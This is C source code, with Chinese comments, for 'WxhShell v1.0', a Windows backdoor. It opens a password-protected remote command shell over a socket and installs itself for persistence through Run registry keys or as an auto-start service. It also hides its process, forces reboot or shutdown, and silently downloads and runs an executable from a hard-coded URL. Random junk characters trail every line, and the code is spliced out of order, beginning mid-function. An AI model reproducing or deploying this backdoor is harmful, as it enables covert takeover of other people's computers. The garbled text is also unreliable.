    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dj3|f{kg{  
    else { &K06}[J  
    closesocket(wsh); +*n] tlk  
    ExitThread(0); USE   
    } ah 4kA LO  
    break; *]FgfttES  
    } 'n>K^rA  
  // 获取shell P`}$-#DF  
  case 's': { Pg7>ce  
    CmdShell(wsh); e%pu.q\gK  
    closesocket(wsh); {V.Wk  
    ExitThread(0); Z/xV\Ggx  
    break; MO[c0n%  
  } SrSG{/{  
  // 退出 y= 2=DU  
  case 'x': { )r=9]0=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b([:,T7  
    CloseIt(wsh); ] F*|U`  
    break; M#`{>R|  
    } <sa #|Y$  
  // 离开 yU*u  
  case 'q': { y*w"J3|29  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :){)JZ}-95  
    closesocket(wsh); 5xhM0 (  
    WSACleanup(); $6W3EOl  
    exit(1); Xc{ZN1 4n  
    break; Og +)J9#  
        } >Q&CgGpW$  
  } b~1iPaIh  
  } yGRR8F5>(  
SK?I.  
  // 提示信息 VXiui'/(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WmNA5;<Q  
} PVhik@Yoh  
  } @]*[c})/  
`4_c0 q)N4  
  return; B\f"Iirw  
} g- XKP  
N5yJ'i~,M  
// shell模块句柄 Qy/uB$q{A  
int CmdShell(SOCKET sock) #kj~G]QA  
{ B4@fY  
STARTUPINFO si; 2bkJ /u`i  
ZeroMemory(&si,sizeof(si)); k<!<<,Z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (9E( Q*J5x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; C B6A}m  
PROCESS_INFORMATION ProcessInfo; vlvvi()  
char cmdline[]="cmd"; Cb4_ ?OR0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ka/nQ~_#<  
  return 0; [8.-(-/;  
} I4ebkPgf  
36nyu_h:R  
// 自身启动模式 ,'=hjIel  
int StartFromService(void) 7q!?1 -?8R  
{ I,]J=xi  
typedef struct 0Yp>+:#  
{ KyjyjfIwH  
  DWORD ExitStatus; ,'u*ZB;  
  DWORD PebBaseAddress; W-1sU g[AN  
  DWORD AffinityMask; ubi~%  
  DWORD BasePriority; 5 5^tfu   
  ULONG UniqueProcessId; W8y$ Ve8m  
  ULONG InheritedFromUniqueProcessId; r|<6Aae&  
}   PROCESS_BASIC_INFORMATION; =)(0.E  
C\OECVT  
PROCNTQSIP NtQueryInformationProcess; pp<E))&R  
o OQ'*7_  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ewpig4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @cPflb  
Vu%n&uF  
  HANDLE             hProcess; Y KY2Cw  
  PROCESS_BASIC_INFORMATION pbi; rmsQt  
0 k9<&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q~j)W$k  
  if(NULL == hInst ) return 0; se#@)LtZ  
MF^_Z3GS'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [z2eCH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;?zF6zvQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 07FT)QTE  
fCg@FHS&^  
  if (!NtQueryInformationProcess) return 0; V3Yd&HVWNQ  
G0Hs,B@5?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1 =^  
  if(!hProcess) return 0; sCkO0dl8  
(vnoP< 0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Cs#w72N  
JYQ.EAsr!  
  CloseHandle(hProcess); )nOE 8y/  
ctHEEFWm  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |kseKZ3  
if(hProcess==NULL) return 0; *,&S',S-  
9n"V\e_R  
HMODULE hMod; Kr]z]4.d@  
char procName[255]; x}|+sS,g  
unsigned long cbNeeded; I>aGp|4  
^&NN]?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); e8-ehs>  
T<6GcI>A  
  CloseHandle(hProcess); l#$TYJi  
NV6G.x  
if(strstr(procName,"services")) return 1; // 以服务启动 _4v"")Xe  
!VRo*[yD@  
  return 0; // 注册表启动 TM-Fu([LMV  
} AuXs B  
jM@?<1  
// 主模块 V'I T1~  
int StartWxhshell(LPSTR lpCmdLine) z&F5mp@  
{ +?Ez} BP  
  SOCKET wsl; m8+:=0|$  
BOOL val=TRUE; 8SZK:VE@  
  int port=0; [S0mY["  
  struct sockaddr_in door; !D;c,{Oz  
?A&%Cwj  
  if(wscfg.ws_autoins) Install(); _C$X04bU3V  
XXm'6xD-  
port=atoi(lpCmdLine); bcn7,ht  
bb1  f/C%  
if(port<=0) port=wscfg.ws_port; I0_Ecp  
~j"3}wXc5  
  WSADATA data; 'fn$'CeM(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l `R KqT+  
/NU103F yt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ke]Yfwk  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V&iS~V0.  
  door.sin_family = AF_INET; wDKELQ(y H  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >vAN(3Idu  
  door.sin_port = htons(port); uY]0dyI  
V^sc1ak1Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P,ydt  
closesocket(wsl); i/*,N&^  
return 1; )i-gs4[(QN  
} ;A"\?i Q  
G "brT5:  
  if(listen(wsl,2) == INVALID_SOCKET) { >f@ G>H)+  
closesocket(wsl); y\,f6=%k  
return 1; " #v%36U  
} 3[VNsX  
  Wxhshell(wsl); Sc_5FX\Yx  
  WSACleanup(); `HyF_m>\  
J^:n* C  
return 0; M4:s;@qZ.  
d.AC%&W  
}  :,~K]G  
E}YI WTX  
// 以NT服务方式启动 9!#EwPD$#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) n[CoS  
{ M*`hDdS  
DWORD   status = 0; y/tSGkMv  
  DWORD   specificError = 0xfffffff; r6 }_H?j  
h.}u?{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (w$'o*z;(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;==j|/ERe  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; cmDT +$s  
  serviceStatus.dwWin32ExitCode     = 0; +`}o,z/^  
  serviceStatus.dwServiceSpecificExitCode = 0; N2FbrfNFa  
  serviceStatus.dwCheckPoint       = 0; ;s_"{f`Y6  
  serviceStatus.dwWaitHint       = 0; 1tGgDbJU  
MI*Sq\-i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !y[3]8Xxv  
  if (hServiceStatusHandle==0) return; u"Y]P*[k  
0OWL  
status = GetLastError(); [K:29N9~4  
  if (status!=NO_ERROR)  =:~(m  
{ N|Habua<Xw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; DFy1 bg  
    serviceStatus.dwCheckPoint       = 0; !_x*m@/  
    serviceStatus.dwWaitHint       = 0; m\-PU z&C  
    serviceStatus.dwWin32ExitCode     = status; s)w9%  
    serviceStatus.dwServiceSpecificExitCode = specificError; X<euD9?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); mb{q(WEPP  
    return; "~\*If  
  } N RSU+D-z  
P }Te"Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; p6[ (81  
  serviceStatus.dwCheckPoint       = 0; vpLMhf`  
  serviceStatus.dwWaitHint       = 0; 1`l;xw1W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D#0O[F@l##  
} h<NRE0-  
8 Z8Y[p  
// 处理NT服务事件,比如:启动、停止 e=>% ^F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G~!C =l  
{ (B}+h   
switch(fdwControl) >| m.?{^  
{ fp;a5||5  
case SERVICE_CONTROL_STOP: 0( //D;j  
  serviceStatus.dwWin32ExitCode = 0; WeVi] n  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 39D }  
  serviceStatus.dwCheckPoint   = 0; 4ZI_pf  
  serviceStatus.dwWaitHint     = 0; 3U;1D2"AE  
  { kUbnVF5'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CDCC1BG"  
  } 2f..sNz  
  return; 9XOyj5  
case SERVICE_CONTROL_PAUSE: z<<Tk.65  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Gru ALx7  
  break; c;!9\1sr  
case SERVICE_CONTROL_CONTINUE: 3.),bm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; - _t&+5]  
  break; c0[k T  
case SERVICE_CONTROL_INTERROGATE: Zi{0-m6+  
  break; ?\ Q0kr.T%  
}; k ,fTW^?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {ERjeuDm]  
} ],&\%jd<  
])N%^Qe$U  
// 标准应用程序主函数 % wL,v.}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .@k*p>K  
{ KyLp?!|>  
/80YZ   
// 获取操作系统版本 D^$OCj\  
OsIsNt=GetOsVer(); ?OsS`)T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); y x;h  
X4Xf2aXI  
  // 从命令行安装 j-32S!  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6?o>{e7n^  
784;]wdy\  
  // 下载执行文件 gp/YjUH7k8  
if(wscfg.ws_downexe) {  yekRwo|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]>8)|]O6n  
  WinExec(wscfg.ws_filenam,SW_HIDE); dtTlIhh1V  
} ~6d5zI4\  
plXG[1;&G  
if(!OsIsNt) { .Dx2 ;lj  
// 如果时win9x,隐藏进程并且设置为注册表启动 }cW#045es  
HideProc(); =l,#iYJP8  
StartWxhshell(lpCmdLine); ML= z<u+  
} ^:z7E1 ~  
else f3 &/r  
  if(StartFromService()) |!Ists  
  // 以服务方式启动 A.U'Q|  
  StartServiceCtrlDispatcher(DispatchTable); fU ={a2  
else bn-=fb(  
  // 普通方式启动 sTOFw;v%  
  StartWxhshell(lpCmdLine); hdj%|~Fj  
MaErx\  
return 0; TzrW   
} &+- e  
n7DLJ`ho{  
2AK}D%jfc  
#r}uin*jD  
=========================================== =v 0~[ E4  
m6MaX}&zv  
S@A<6   
or.\)(m#(  
5"gL.Ez  
__(V C :  
" all*P #[X  
]M\q0>HoJ  
#include <stdio.h> iZC`z }  
#include <string.h> 1b[NgOXY=  
#include <windows.h> c F=P!2 @  
#include <winsock2.h> SQ<f  
#include <winsvc.h> KN, 4@4  
#include <urlmon.h> 3EOyq^I%  
}]GbUC!Zb  
#pragma comment (lib, "Ws2_32.lib") J6auUm` `  
#pragma comment (lib, "urlmon.lib") 4J}3,+  
!. eAOuq  
#define MAX_USER   100 // 最大客户端连接数 "TFwHe3C4  
#define BUF_SOCK   200 // sock buffer 26PD[af64O  
#define KEY_BUFF   255 // 输入 buffer x4 hO$3o  
j@t{@Ke  
#define REBOOT     0   // 重启 |j# ^@R  
#define SHUTDOWN   1   // 关机 ccMd/  
:rmauKR  
#define DEF_PORT   5000 // 监听端口 AT ymKJ  
iNLDl~uU  
#define REG_LEN     16   // 注册表键长度 pVz*ZQ[]  
#define SVC_LEN     80   // NT服务名长度 PWG;&ma  
{(0Id!  
// 从dll定义API fTgbF{?xh  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }4KW@L[g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zbg+6qs})  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Pz1G<eh#{g  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mu>] 9ZW  
UR,?!rJ^B  
// wxhshell配置信息 0_HJ.g!  
struct WSCFG { @,Jb7V<  
  int ws_port;         // 监听端口 vX.]hp5~  
  char ws_passstr[REG_LEN]; // 口令 )Ga8`t"  
  int ws_autoins;       // 安装标记, 1=yes 0=no PW)8aLU  
  char ws_regname[REG_LEN]; // 注册表键名 =mLeMk/7 w  
  char ws_svcname[REG_LEN]; // 服务名 .hne)K%={y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hgwn> p:S#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 oG\>--  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K0 QH?F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r0uJ$/!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" S}mm\<=1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CjV7q y  
D!me%;  
}; D2$^"  
5p{25N_t  
// default Wxhshell configuration #G~wE*VR$  
struct WSCFG wscfg={DEF_PORT, wPQ&Di*X}  
    "xuhuanlingzhe", //tT8HX  
    1, #/s7\2  
    "Wxhshell", NfqJ=9  
    "Wxhshell", I1i:}g/  
            "WxhShell Service", "$P'Wv  
    "Wrsky Windows CmdShell Service",  ]CIe~q  
    "Please Input Your Password: ", E4Zxv*  
  1, ?sE@]]z  
  "http://www.wrsky.com/wxhshell.exe", {83C,C-  
  "Wxhshell.exe" O!,Ca1N  
    }; l.uN$B  
Z*Zc]hD  
// 消息定义模块 0<3E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; AHWh}~Yi  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;t~*F#p(!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [9J:bD  
char *msg_ws_ext="\n\rExit."; r;'i<t{P  
char *msg_ws_end="\n\rQuit."; 6"%@ L{UQ  
char *msg_ws_boot="\n\rReboot..."; Z,SY N?@  
char *msg_ws_poff="\n\rShutdown..."; Nuo^+z E   
char *msg_ws_down="\n\rSave to "; ~W3:xnBEk  
;/R kMS  
char *msg_ws_err="\n\rErr!"; _hWuAJ9Qy  
char *msg_ws_ok="\n\rOK!"; yIWc\wv  
7|{ B#  
char ExeFile[MAX_PATH]; "R8.P/ 3  
int nUser = 0;  }Zt.*%  
HANDLE handles[MAX_USER]; R)Q/Ff@o0  
int OsIsNt; l[Tt[n  
@wMQC\Z  
SERVICE_STATUS       serviceStatus; @Jm.HST#S8  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {x9j_/R  
Xout:dn  
// 函数声明 [.ey_}X8  
int Install(void); 2'Y{FY_Z  
int Uninstall(void); PY2[ S[  
int DownloadFile(char *sURL, SOCKET wsh); dK`(BA{`3  
int Boot(int flag); 7oD y7nV4  
void HideProc(void); 6N&| 2:U  
int GetOsVer(void); ovB=Zm  
int Wxhshell(SOCKET wsl); f&f`J/(  
void TalkWithClient(void *cs); 9QC< E|  
int CmdShell(SOCKET sock); .(JE-upJ"  
int StartFromService(void); 1y 1_6TZ+  
int StartWxhshell(LPSTR lpCmdLine); p1klLX  
^]i" H|(x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?P%|P   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %n4@[fG%K  
+;YE)~R?  
// 数据结构和表定义 vUqe.?5  
SERVICE_TABLE_ENTRY DispatchTable[] = 4Q@\h=r  
{ b'&LBT7  
{wscfg.ws_svcname, NTServiceMain}, nT#37v  
{NULL, NULL} &yB%QX{3  
}; =,O /,2)  
)dqR<)  
// 自我安装 c5<kbe  
int Install(void) 7&h\l6}Yh  
{ >B`Cch/ 'U  
  char svExeFile[MAX_PATH]; t?KUK>>w  
  HKEY key; ::v;)VdX+*  
  strcpy(svExeFile,ExeFile); Z>X9J(=  
uW ) \,  
// 如果是win9x系统,修改注册表设为自启动 v: giZxR  
if(!OsIsNt) { !;TR2Zcn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zaH 5 Km_j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :,jPNuOA  
  RegCloseKey(key); 9U&~(;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3\,MsoAl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~KJ,SLzhx9  
  RegCloseKey(key); UE\%e9<l  
  return 0; cT\O v P*_  
    } K!9y+%01  
  } NWw<B3aL  
} [?A&xqO3  
else { [TP  
Pb0)HlLq  
// 如果是NT以上系统,安装为系统服务 tp7oc_s?.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tsck|;v  
if (schSCManager!=0) aXQ&@BZ {j  
{ AbL5 !'  
  SC_HANDLE schService = CreateService m\_+)eI|  
  ( L7X7Zt8%  
  schSCManager, 0K&_D)  
  wscfg.ws_svcname, e jP,29  
  wscfg.ws_svcdisp, >y]?MGk  
  SERVICE_ALL_ACCESS, (qJIu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9*BoYFw92*  
  SERVICE_AUTO_START, hJecCOA)'  
  SERVICE_ERROR_NORMAL, wj}=@HS,3!  
  svExeFile, )t*S 'R  
  NULL, < }<#W/  
  NULL, qi( &8in  
  NULL, ~u};XhZ  
  NULL, sq6>DuBZz  
  NULL T@B"BoKU  
  ); 7We?P,A\;  
  if (schService!=0) f$Gr`d  
  { yZ?xt'tn  
  CloseServiceHandle(schService); JtSuD>H`"  
  CloseServiceHandle(schSCManager); r;c' NqP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W^^K0yn`@  
  strcat(svExeFile,wscfg.ws_svcname); DxE(9j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i:C.8hmAE  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -b@v0%Q2M*  
  RegCloseKey(key); 7ESN!  
  return 0; J>><o:~@  
    } k}- "0>  
  } mfj4`3:NV  
  CloseServiceHandle(schSCManager); \El|U#$u'  
} YI L'YNH  
} N<p5p0  
AmP#'U5  
return 1; ue,#, 3{m  
} kTr6{9L  
 -0{T  
// 自我卸载 d1UVvyH  
int Uninstall(void) P h9Hg'  
{ oxUE79  
  HKEY key; &r&;<Q  
V*~1,6N [  
if(!OsIsNt) { ,h3269$J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J@oEV=L  
  RegDeleteValue(key,wscfg.ws_regname); ?R dmKA  
  RegCloseKey(key); Mi;}.K0J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =6.8bZT\  
  RegDeleteValue(key,wscfg.ws_regname); qlz( W  
  RegCloseKey(key); <FCj)CP%  
  return 0; N7d17c. 5  
  } (J6" ;  
} "9c.CI  
} D2Vb{%(4.  
else {  Ask' !  
|z.Gh1GCy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); $ \? N<W  
if (schSCManager!=0) x, G6\QmA  
{ i}.{m Et  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qzuQq94k  
  if (schService!=0) pWWL{@J  
  { %4?SY82  
  if(DeleteService(schService)!=0) { ZC3tbhV  
  CloseServiceHandle(schService); <m?GJuQ'  
  CloseServiceHandle(schSCManager); *LY~l  
  return 0; L!CX &  
  } hB|H9+  
  CloseServiceHandle(schService); (%``EIc<8  
  }  !7 ei1  
  CloseServiceHandle(schSCManager); ( rA\_FOJ  
} Mfnlue](  
} OpWeW  
J xA^DH  
return 1; #pS]k<o%1  
} cp E25  
CBiU#h q  
// 从指定url下载文件 0_YxZS\  
int DownloadFile(char *sURL, SOCKET wsh) BP)q6?Mz  
{ 9oZ } h&  
  HRESULT hr; BSx j~pun  
char seps[]= "/"; AyQS4A.s[  
char *token; w8eG;  
char *file; w$w>N(e  
char myURL[MAX_PATH]; ovhC4 2i  
char myFILE[MAX_PATH]; Z7tU0  
.`oJcJ  
strcpy(myURL,sURL); b &\3ps  
  token=strtok(myURL,seps); jF%)Bhn(  
  while(token!=NULL) +=|hMQ;  
  { 71oFm1m{  
    file=token; -X"5G  
  token=strtok(NULL,seps); tYI ]LL  
  } V_)5Af3wY  
^CowJ(y(  
GetCurrentDirectory(MAX_PATH,myFILE); .Q=2WCv0  
strcat(myFILE, "\\"); ( z8]FT  
strcat(myFILE, file); @-)<|orU4  
  send(wsh,myFILE,strlen(myFILE),0); \iFMU#  
send(wsh,"...",3,0); W0+gfg  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 37j\D1Y  
  if(hr==S_OK) t9Enk!@  
return 0; *r)zBr  
else Wrf^O2  
return 1; _&k'j)rg  
4A\BGD*5  
} U^E  
p9FA_(`^  
// 系统电源模块 )LXoey!aZ  
int Boot(int flag) v`[Tl  
{ %v?jG(o  
  HANDLE hToken; AijPN  
  TOKEN_PRIVILEGES tkp; "E@NZ*"u  
&&(4n?   
  if(OsIsNt) { KuIt[oM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e.)yV'%L  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); EIq{C-(  
    tkp.PrivilegeCount = 1; Ze$^UR  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SQO>}#qm  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Bi9 N  
if(flag==REBOOT) { <Um1h:^   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fP^W"y  
  return 0; ,wwU` U  
} f7EIDFX>pt  
else { Zd[y+$>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2.fyP"P L  
  return 0; T[Z <bW~0  
} A%NK0j$;}  
  } 1M%{Uqsd-  
  else { G"T;l"TAt8  
if(flag==REBOOT) { p6&LZ=tL3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hYP6z^  
  return 0; SeRK7Q&_  
} ,_"7|z wb  
else { ~6@c]:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D-TNFYYy2  
  return 0; 1=9qAp;?o  
} r+{!@`dYi  
} E"9/YWv  
B#qL$M,|  
return 1; 38x[Ad4%  
}  |0C|$2  
Z`-)1!  
// win9x进程隐藏模块 ^F0k2pB  
void HideProc(void) 2- Npw%;  
{ j:rs+1bc  
GsP@ B'  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); OBKC$e6I  
  if ( hKernel != NULL ) vxbH^b  
  { }<5\O*kX4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4*N@=v  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [3{:H"t  
    FreeLibrary(hKernel); M(.uu`B  
  } )[y!m9Vn  
)H[h53bIq  
return; 5@R15q@c6n  
} ~_dBND?  
N[+o[%A  
// 获取操作系统版本 A:8FJ3'  
int GetOsVer(void) d+YVyw.z  
{ Q8}TNJsU  
  OSVERSIONINFO winfo; \jF" nl  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vc>^.#7   
  GetVersionEx(&winfo); ??$i*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BRo R"#'  
  return 1; eLDL  "L  
  else a>)_ `m  
  return 0; OUBgBr   
} WV,?Ge  
}6uV]V{  
// 客户端句柄模块 E5Snl#Gl\0  
int Wxhshell(SOCKET wsl) n3HCd- z  
{ *hk{q/*Qw  
  SOCKET wsh; k2_6<v Z  
  struct sockaddr_in client; MQ9M%>  
  DWORD myID; ,z0~mN  
~L \(/[  
  while(nUser<MAX_USER) Pq{YZMr  
{ 26('V `N  
  int nSize=sizeof(client); ,{`o/F/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0btmao-  
  if(wsh==INVALID_SOCKET) return 1; T0*TTB&b  
@ 2%.>0s.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6S! lD=  
if(handles[nUser]==0) m5'__<  
  closesocket(wsh); 2kp|zX(  
else :uT fhr  
  nUser++; T_(e(5  
  } .=b +O~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0f=N3)  
6bRQL}[  
  return 0; 6,g5To#vw  
} T|BY00Sz`  
jziA;6uL  
// 关闭 socket 1v[#::Bs  
void CloseIt(SOCKET wsh) _Sk< S  
{ ;8%@Lan  
closesocket(wsh); 8,H#t@+MT  
nUser--; st'?3A  
ExitThread(0); $:-= >  
} #/XK&(X  
}'w^<:RSy  
// 客户端请求句柄 G8 <It5CU  
void TalkWithClient(void *cs) ]mD=Br*r~  
{ 8ZNd|\  
p@NEr,GB  
  SOCKET wsh=(SOCKET)cs; WrK^>  
  char pwd[SVC_LEN]; 2\z`G  
  char cmd[KEY_BUFF]; B!E<uVC  
char chr[1]; 0o"<^] _|  
int i,j; @WDqP/4  
vU \w3  
  while (nUser < MAX_USER) { AP?{N:+  
F"@'(b  
if(wscfg.ws_passstr) { 0\_R|i_`>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~qLhZR\g^  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *Y^Y  
  //ZeroMemory(pwd,KEY_BUFF); *\~kjZ 3  
      i=0; PU@U@  
  while(i<SVC_LEN) { {C0OrO2:  
D)/XP  
  // 设置超时 !3X%5=#L4  
  fd_set FdRead; k+m_L{#m5  
  struct timeval TimeOut; *>&N t  
  FD_ZERO(&FdRead); K_lCDiqG  
  FD_SET(wsh,&FdRead); 0R%uVJG  
  TimeOut.tv_sec=8; t-<[._:+  
  TimeOut.tv_usec=0; vS*0CR\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @R-~zOv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )H37a  
z7l;|T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `aWwF} +Y  
  pwd=chr[0]; 2h? r![  
  if(chr[0]==0xd || chr[0]==0xa) { fY\tvo%  
  pwd=0; 4K?H-Jco  
  break; {If2[4!z  
  } 7N~qg 7&  
  i++; #35S7G^@`  
    } BI]ut |Qw  
~cg+BAfu  
  // 如果是非法用户,关闭 socket 3sg)]3jm2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n`I jG  
} nO.+&kA  
;~1/eF  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @Ozf}}#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yV]-Oa$*s0  
zC>(!fJqq  
while(1) { S,<.!v57  
nu<!2xs,  
  ZeroMemory(cmd,KEY_BUFF); EV7+u0uN&Q  
Q]?J%P.  
      // 自动支持客户端 telnet标准   U-]PWt?C{  
  j=0; %},S#5L3  
  while(j<KEY_BUFF) { PK`(qK9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j n&9<"W  
  cmd[j]=chr[0]; K/.hJ  
  if(chr[0]==0xa || chr[0]==0xd) { 7rDRu]  
  cmd[j]=0; PA-0FlV|  
  break; g7Q*KA+  
  } *ej o6>  
  j++; W9:{pQG  
    } vM3|Ti>a'  
eS# 0-  
  // 下载文件 6~Oje>w;  
  if(strstr(cmd,"http://")) { Vqp.jF1|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d<cbp [3F  
  if(DownloadFile(cmd,wsh)) Exs _LN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +MoxvW6  
  else +fQ$~vr{'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {R8P $  
  } 0@/E% T1c"  
  else { m&z %kVsg]  
7;s0m0<%~  
    switch(cmd[0]) { :)V0zHo&(  
  hG3$ ]i9  
  // 帮助 ~i&< !O&  
  case '?': { E#V-F-@2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C"|_j?  
    break; j 8AR#  
  } N{z(|2{A#  
